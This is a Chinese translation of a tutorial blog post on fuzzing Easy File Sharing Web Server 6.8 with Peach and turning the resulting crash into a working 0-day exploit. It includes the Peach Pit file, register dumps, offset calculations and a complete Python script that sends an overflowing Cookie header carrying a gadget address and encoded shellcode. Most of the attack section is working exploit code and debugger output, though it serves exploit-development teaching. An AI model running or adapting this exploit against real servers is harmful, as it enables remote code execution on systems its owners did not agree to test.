来源:自学PHP网 时间:2015-04-15 15:00 作者: 阅读:次
[导读] 几天前,我在一个fuzzing中发现了一个有趣的bug可以使我创造出一个0day EXP。我已经被问过好几次如何找bug和写一个exp,所以我决定利用这次机会描述下我是如何做的。在这篇文章中,我...
几天前,我在一个fuzzing中发现了一个有趣的bug可以使我创造出一个0day EXP。我已经被问过好几次如何找bug和写一个exp,所以我决定利用这次机会描述下我是如何做的。在这篇文章中,我将会展示如何寻找bug分析它,并且创造出一个有用exp。 从这篇文章中你应该获益不少,你应该熟悉基础的fuzzing和exp开发。
工具
我选择EFS Software(http://www.efssoft.com) 的 Easy File Sharing Web Server 6.8(http://sharing-file.com)来分析。当写这篇文章的时候是最新版本的。我在这里简称他为EFSWS 因为Easy File Sharing Web Server 有点小小的拗口。
分析应用 我将EFSWS安装在一个从modern.IE(http://loc.modern.ie/zh-cn)下载的虚拟机Window XP Professional SP3。 modern.IE提供评估版本的winsows 从XP到8.1,做这些伟大的测试~。我用windows xp 有两个理由,缺少ASLR,选择性加入DEP。这使得EXP更加好写,你也可以一直使用windows最近的版本。 当我第一次运行EFSWS,它弹窗询问我是否想购买,还是运行。 事实证明这个弹窗每次都在EFSWS启动EFSWS从开始到websercer被关闭,幸运的是Peach可以寻找这些弹出的窗口,并且关闭他们,以便于继续自动化测试不用我们手动关闭弹出窗口。 EFSWS有几个选项来定制他的特性,我决定让他们保持默认的设置。 在这个点上EFSWS监听80端口,准备响应来自浏览器的请求。
我接收到一个登陆界面,引起我第一个注意的就是一个显示为“登陆为访客”的登录按钮,我点击它创建了一些虚拟目录。
我探索了一会,决定看看SocketSniff捕捉到了什么。早些时候,捕获到一个vfolder.ghp请求: 我注意到cookie包含键/值 包含 UserID 和PassID,这些键没有值分配给他们,可能是因为我是以访客登录,这看上去像一个有趣的目标来fuzz,所以我决定开始。
创建一个Peach Pit Peach 使用XML 文件来描述他是如何FUZZ目标的,这些XML文件称作为Peach Pits 使用SocketSniff捕获,我创建了一个Peach Pit 来测试当请求vfolder.ghp的UserID和PassWD: <?xml version="1.0" encoding="utf-8"?> <Peach xmlns="http://peachfuzzer.com/2012/Peach" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://peachfuzzer.com/2012/Peach ../peach.xsd"> <DataModel name="DataVfolder"> <String value="GET /vfolder.ghp" mutable="false" token="true"/> <String value=" HTTP/1.1" mutable="false" token="true"/> <String value="\r\n" mutable="false" token="true"/> <String value="User-Agent: " mutable="false" token="true"/> <String value="Mozilla/4.0" mutable="false" token="true"/> <String value="\r\n" mutable="false" token="true"/> <String value="Host: ##HOST##:##PORT##" mutable="false" token="true"/> <String value="\r\n" mutable="false" token="true"/> <String value="Accept: " mutable="false" token="true"/> <String value="text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" mutable="false" token="true"/> <String value="\r\n" mutable="false" token="true"/> <String value="Accept-Language: " mutable="false" token="true"/> <String value="en-us" mutable="false" token="true"/> <String value="\r\n" mutable="false" token="true"/> <String value="Accept-Encoding: " mutable="false" token="true"/> <String value="gzip, deflate" mutable="false" token="true"/> <String value="\r\n" mutable="false" token="true"/> <String value="Referer: " mutable="false" token="true"/> <String value="http://##HOST##/" mutable="false" token="true"/> <String value="\r\n" mutable="false" token="true"/> <String value="Cookie: " mutable="false" token="true"/> <String value="SESSIONID=6771; " mutable="false" token="true"/> <!-- fuzz UserID --> <String value="UserID=" mutable="false" token="true"/> <String value="" /> <String value="; " mutable="false" token="true"/> <!-- fuzz PassWD --> <String value="PassWD=" mutable="false" token="true"/> <String value="" /> <String value="; " mutable="false" token="true"/> <String value="\r\n" mutable="false" token="true"/> <String value="Conection: " mutable="false" token="true"/> <String value="Keep-Alive" mutable="false" token="true"/> <String value="\r\n" mutable="false" token="true"/> <String value="\r\n" mutable="false" token="true"/> </DataModel> <DataModel name="DataResponse"> <!-- server reply, we don't care --> <String value="" /> </DataModel> <StateModel name="StateVfolder" initialState="Initial"> <State name="Initial"> <Action type="output"> <DataModel ref="DataVfolder"/> </Action> <Action type="input"> <DataModel ref="DataResponse"/> </Action> </State> </StateModel> <Agent name="LocalAgent"> <Monitor class="WindowsDebugger"> <Param name="CommandLine" value="C:\EFS Software\Easy File Sharing Web Server\fsws.exe"/> </Monitor> <!-- close the popup window asking us to buy the software before running tests --> <Monitor class="PopupWatcher"> <Param name="WindowNames" value="Registration - unregistered"/> </Monitor> </Agent> <Test name="TestVfolder"> <Agent ref="LocalAgent"/> <StateModel ref="StateVfolder"/> <Publisher class="TcpClient"> <Param name="Host" value="##HOST##"/> <Param name="Port" value="##PORT##"/> </Publisher> <Logger class="File"> <!-- save crash information in the Logs directory --> <Param name="Path" value="Logs"/> </Logger> <!-- use a finite number of test cases that test UserID first, followed by PassWD --> <Strategy class="Sequential" /> </Test> </Peach>
Peach3其中一个新的功能就是监视器。我使用监视器关闭在程序运行开始弹出询问我是否购买EFSWS的窗口,我同样使用占位符##HOST## 和##PORT## 所以我可以在命令行中指定目标地址和端口取代在Peach Pit中使用硬编码。
Ready,设置,开始Fuzz! 我关闭了 EFSWS 和SocketSniff,使用以下命令启动了一个fuzzing会话
Peach立刻启动了EFSWS,关闭了弹窗,然后在服务开始抛出测试用例,几分钟之内,他开始提示错误: 在这个阶段,我通常只是让他多运行几分钟,或者几小时,这取决于到现在为止的发现。
找到并且利用BUG 当我返回的时候,来看看Logs的目录崩溃的报告:
三个目录被创建标记为可以利用,所以这些在测试中应该得到更多优先权,在可以利用的信息中,我选择测试这个例子 GET /vfolder.ghp HTTP/1.1 User-Agent: Mozilla/4.0 Host: 192.168.1.140:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us Accept-Encoding: gzip, deflate Referer: http://192.168.1.140/ Cookie: SESSIONID=6771; UserID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA; PassWD=; Conection: Keep-Alive这个Peach载荷使用了一长串的字符串“A”的测试用例。并分配给UserID 在这一点上,PassWD还没有参与FUZZ 我看了看对应的WindowsDebugEngine_description.txt文件来看寄存器状态,和崩溃的指令: eax=00000000 ebx=00000000 ecx=018f68f8 edx=41414141 esi=018f68e8 edi=018f68f8 eip=0045c8c2 esp=018f6830 ebp=ffffffff iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206 EDX 是惟一一个被覆盖的有效负载。EIP是完整的,所以你了解崩溃的原因么? 答案是提供了错误的指令。
0045c8c2 ff5228 call dword ptr [edx+28h] ds:0023:41414169=????????
这是试图调用出函数指向 EDX+28,它崩溃是因为 EDX+28结果0x41414169是一个无效的地址,这意味着我可以任意控制重定向指向流程,因为我控制了EDX的值。
一个POC的开始 我需要使用这个来自Peach的测试用例转换为一个POC 。我创建了一下一个Python脚本发送请求相同的测试用例:
import socket import struct target = "192.168.1.140" port = 80 payload = "A"*90 buf = ( "GET /vfolder.ghp HTTP/1.1\r\n" "User-Agent: Mozilla/4.0\r\n" "Host:" + target + ":" + str(port) + "\r\n" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" "Accept-Language: en-us\r\n" "Accept-Encoding: gzip, deflate\r\n" "Referer: http://" + target + "/\r\n" "Cookie: SESSIONID=6771; UserID=" + payload + "; PassWD=;\r\n" "Conection: Keep-Alive\r\n\r\n" ) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.send(buf) s.close()
现在我可以复制测试用例,我需要检查当崩溃的时候内存中发生了什么。
ImmunityDebugger测试崩溃 我停止的fuzzing会话,重启了EFSWS,使用Immunity Debugger。在
我执行POC 在断点出停止,快速查看短站,payload还没有收到,所以按下F9继续执行断点第二次hit,仍然没有收到payload,再次按下了F9,这一次我注意到EDX被覆盖0x41414141 ,payload在堆栈中被见到了。 ECX,ESI,和EDI都指向载荷的位置,载荷自己在堆栈中的地址起始于0x19f68a8
所以我继续按shift+F9 几次异常传递给应用程序,并且最终恢复,服务器本身没有崩溃,所以我不需要重启调试器
劫持执行流 为了劫持执行流,我需要覆盖EDX 但是在此之前我还没做。我需要弄清楚什么偏移覆盖了EDX我使用Metasploit 的pattern_creat.rb来创建一个400字节的cyclic pattern并且当作我的载荷。
payload = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A"
我执行了POC,直到EDX被cyclic pattern覆盖:
这个值阻止了pattern_offset.rb 它偏移80.为了正式这一点我更新了载荷,写入0x42424242 80字节到载荷里。 payload="A"*80+"B"*4+"C"*316 我再一次运行PoC,确信了 EDX被覆盖为 0x42424242
现在知道了偏移,我需要制作一个EDX+28指向一个地址,包含我想要执行的指令集
经过一番搜索我在0想0023701发现了一个 CALL ESI 在EFSWS的ImageLoad.dl:
所有我需要的就是把0x10023701在堆栈上的某个地方EDX+28将会解决这个问题
这意味着EDX要设置0x019F6940,0x019F6940 + 28 = 0x019F6968,载荷更新为 payload = "A"*80 payload += struct.pack("<I", 0x019F6940) payload += "C"*108 payload += struct.pack("<I", 0x10023701) payload += "C"*196
我在一次执行PoC按下F9直到载荷得到,EDX现在被置为0x019F6940 然后call指令显示指向0x10023701,一个地址在 LoadImage.dll。我按下F7单步进入函数,带我到CALL ESI指令,ESI 指向0x019F68FC ,载荷中有64字节: 这里只有16字节在这里工作,但是有大量的空间在缓冲区”C”开始于0x019F68FC
payload = "A"*64 # padding payload += "\x81\xee\x70\xff\xff\xff" # SUB ESI,-90 payload += "\xff\xe6" # JMP ESI payload += "A"*8 # padding payload += struct.pack("<I", 0x019F6940) # overwrite EDX with pointer to CALL ESI payload += "C"*108 # padding payload += struct.pack("<I", 0x10023701) # pointer to CALL ESI
我再一次运行了POC 单步通过指令,所有的东西在此之前工作了,在我CALL ESI执行之后,执行到了SUB ESI,-90 and JMP ESI SUB ESI,-90 sets ESI to 0x019F6978 12字节通过0x019F6968.这是一个shellcode
让我们Pwn这件事! 当poc工作,我更希望calc.exe从我的shellcode中启动。这非常简单,小巧,快捷的动作。我使用了来自https://code.google.com/p/win-exec-calc-shellcode/ 的calc shellcode去除了0x00和0x20
# calc shellcode from https://code.google.com/p/win-exec-calc-shellcode/ # msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin # [*] x86/shikata_ga_nai succeeded with size 101 (iteration=1) shellcode = ( "\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" + "\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" + "\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" + "\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" + "\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" + "\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" + "\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" + "\x1c\x39\xbd" )
我再一次更新了载荷包括一个NOP sled 和shellcode:
payload = "A"*64 # padding payload += "\x81\xee\x70\xff\xff\xff" # SUB ESI,-90 payload += "\xff\xe6" # JMP ESI payload += "A"*8 # padding payload += struct.pack("<I", 0x019F6940) # overwrite EDX with pointer to CALL ESI payload += "C"*108 # padding payload += struct.pack("<I", 0x10023701) # pointer to CALL ESI payload += "\x90"*20 # NOP sled payload += shellcode # calc.exe payload += "C"*75 # padding
我执行了POC步进通过指令直到到了 JMP ESI 我按下F7步进通过,它落在NOP sled中间: 相信一切都要从这里开始,我按下F9继续执行 calc.exe弹出来了!Exp工作了!
下面是修改过后的POC代码: import socket import struct import time target = "192.168.1.140" port = 80 # 101 byte calc.exe shellcode shellcode = ( "\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" + "\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" + "\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" + "\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" + "\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" + "\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" + "\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" + "\x1c\x39\xbd" ) payload = "A"*64 # padding payload += "\x81\xee\x70\xff\xff\xff" # SUB ESI,-90 payload += "\xff\xe6" # JMP ESI payload += "A"*8 # padding payload += struct.pack("<I", 0x019F6940) # overwrite EDX with pointer to CALL ESI payload += "C"*108 # padding payload += struct.pack("<I", 0x10023701) # pointer to CALL ESI payload += "\x90"*20 # NOP sled payload += shellcode # calc.exe payload += "C"*75 # padding buf = ( "GET /vfolder.ghp HTTP/1.1\r\n" "User-Agent: Mozilla/4.0\r\n" "Host:" + target + ":" + str(port) + "\r\n" "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n" "Accept-Language: en-us\r\n" "Accept-Encoding: gzip, deflate\r\n" "Referer: http://" + target + "/\r\n" "Cookie: SESSIONID=6771; UserID=" + payload + "; PassWD=;\r\n" "Conection: Keep-Alive\r\n\r\n" ) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.send(buf) s.close()
原文owl#FF0000TeAm翻译自:http://blog.techorganic.com/2014/05/14/from-fuzzing-to-0-day/ |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com